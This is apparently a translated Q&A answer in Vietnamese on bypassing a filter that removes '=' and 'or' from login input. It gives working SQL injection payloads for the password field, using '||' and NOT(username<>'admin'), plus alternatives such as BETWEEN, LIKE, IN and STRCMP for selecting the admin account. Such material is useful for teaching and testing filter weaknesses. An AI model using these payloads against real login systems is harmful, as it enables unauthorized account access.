Giả sử định nghĩa này về lvl2_filter
, về cơ bản loại bỏ bất kỳ sự xuất hiện nào của =
và or
cho đến khi không còn được tìm thấy nữa, vẫn có thể sử dụng phép toán HOẶC logic
với ||
thay vì OR
và một biểu thức đơn giản được đánh giá là true như:
username: dummy
password: ' || '1
Điều này sẽ dẫn đến:
SELECT user_id FROM users WHERE username='dummy' and password='' || '1'
Để chọn một người dùng cụ thể, người ta có thể sử dụng quy tắc của đại số boolean
, trong đó x=y
=!(x!=y)
:
username: dummy
password: ' || NOT(username<>'admin') AND '1
Điều này sẽ dẫn đến:
SELECT user_id FROM users WHERE username='dummy' and password='' || NOT(username<>'admin') AND '1'
Đây <>
tương đương với !=
nhưng không chứa =
.
Ngoài ra còn có các hoạt động khác mà người ta có thể sử dụng ensure tên người dùng bằng admin
:
-
username BETWEEN 'admin' AND 'admin'
-
username LIKE 'admin'
-
username IN ('admin')
-
IF(STRCMP(username,'admin'), 0, 1)
-
CASE STRCMP(username,'admin') WHEN 0 THEN 1 ELSE 0 END
- …